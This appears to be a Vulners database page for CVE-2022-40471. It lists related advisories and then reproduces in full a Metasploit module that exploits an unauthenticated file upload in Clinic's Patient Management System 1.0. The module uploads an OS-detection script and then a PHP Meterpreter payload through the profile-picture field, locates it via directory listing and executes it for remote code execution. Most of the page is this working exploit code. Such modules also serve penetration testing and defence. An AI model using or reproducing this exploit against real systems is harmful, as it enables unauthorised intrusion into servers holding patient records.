| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Oretnom23 Clinic\'S_Patient_Management_System | 30 Dec 202513:55 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Oretnom23 Clinic\'S_Patient_Management_System | 12 Oct 202222:33 | – | githubexploit | |
| CVE-2022-40471 | 15 Oct 202214:11 | – | circl | |
| Clinic’s Patient Management System 代码问题漏洞 | 31 Oct 202200:00 | – | cnnvd | |
| CVE-2022-40471 | 31 Oct 202200:00 | – | cve | |
| CVE-2022-40471 | 31 Oct 202200:00 | – | cvelist | |
| Clinic's Patient Management System 1.0 - Unauthenticated RCE | 21 May 202518:53 | – | metasploit | |
| CVE-2022-40471 | 31 Oct 202216:15 | – | nvd | |
| CVE-2022-40471 | 31 Oct 202216:15 | – | osv | |
| 📄 Clinic's Patient Management System 1.0 SQL Injection / Remote Code Execution | 22 May 202500:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Clinic's
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
it by leveraging directory listing enabled on the `/pms/user_images` directory.
},
'Author' => [
'Aaryan Golatkar', # Metasploit Module Developer
'Oğulcan Hami Gül', # Vulnerability discovery
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 1.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['EDB', '51779'],
['CVE', '2022-40471'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
],
'DisclosureDate' => '2022-10-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
])
end
def check
print_status('Checking if target is vulnerable...')
# Step 1: Retrieve PHPSESSID
vprint_status('Fetching PHPSESSID from the server...')
res_session = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'GET'
})
unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
return CheckCode::Unknown('Could not connect to the target')
end
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
if phpsessid.nil?
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
return CheckCode::Unknown('Failed to retrieve PHPSESSID from the target response')
else
phpsessid = phpsessid[1]
vprint_good("Obtained PHPSESSID: #{phpsessid}")
end
# Step 2: Attempt File Upload
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
dummy_content = Rex::Text.rand_text_alphanumeric(20)
dummy_name = Rex::Text.rand_text_alphanumeric(6)
post_data = Rex::MIME::Message.new
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
vprint_status("Uploading dummy file #{dummy_filename}...")
res_upload = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'cookie' => "PHPSESSID=#{phpsessid}"
})
unless res_upload && res_upload.code == 302
print_error('File upload attempt failed. Target may not be vulnerable.')
return CheckCode::Safe('The target is not vulnerable')
end
vprint_good('Dummy file uploaded successfully.')
# Step 3: Verify File in Directory Listing
vprint_status('Verifying uploaded file in /pms/user_images...')
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET',
'cookie' => "PHPSESSID=#{phpsessid}"
})
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
CheckCode::Vulnerable('Successfully verified the upload vulnerability')
else
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
CheckCode::Unknown('Uploaded file not found in directory listing')
end
end
def upload_shell
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
detection_filename = "#{detection_basename}.php"
# Step 1: Detect the OS
detection_script = <<~PHP
<?php
echo PHP_OS . "\\n";
?>
PHP
vprint_status("Uploading OS detection script as #{detection_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
vprint_good('OS detection script uploaded successfully!')
# Step 2: Retrieve the actual uploaded filename
vprint_status('Retrieving directory listing to identify detection script...')
sleep datastore['LISTING_DELAY']
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
actual_detection_filename = match[1]
vprint_status("Detected script filename: #{actual_detection_filename}")
# Step 3: Execute the detection script
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
vprint_status("Executing OS detection script at #{detection_url}...")
res = send_request_cgi({
'uri' => detection_url,
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
detected_os = res.body.strip.downcase
vprint_status("Detected OS: #{detected_os}")
# Step 4: Choose payload based on OS
if detected_os.include?('win')
payload_content = get_write_exec_payload
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
else
payload_content = get_write_exec_payload(unlink_self: true)
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
end
# Step 5: Upload the payload
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
print_good('Payload uploaded successfully!')
# Verify the presence of the uploaded file in the directory listing
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
# Search for the uploaded filename
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
actual_filename = match[1]
vprint_good("Verified payload presence: #{actual_filename}")
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
actual_filename
end
def exploit
# Upload the shell and retrieve its filename
uploaded_filename = upload_shell
# Construct the URL for the uploaded shell
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
print_status("Executing the uploaded shell at #{shell_url}...")
# Execute the uploaded shell
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation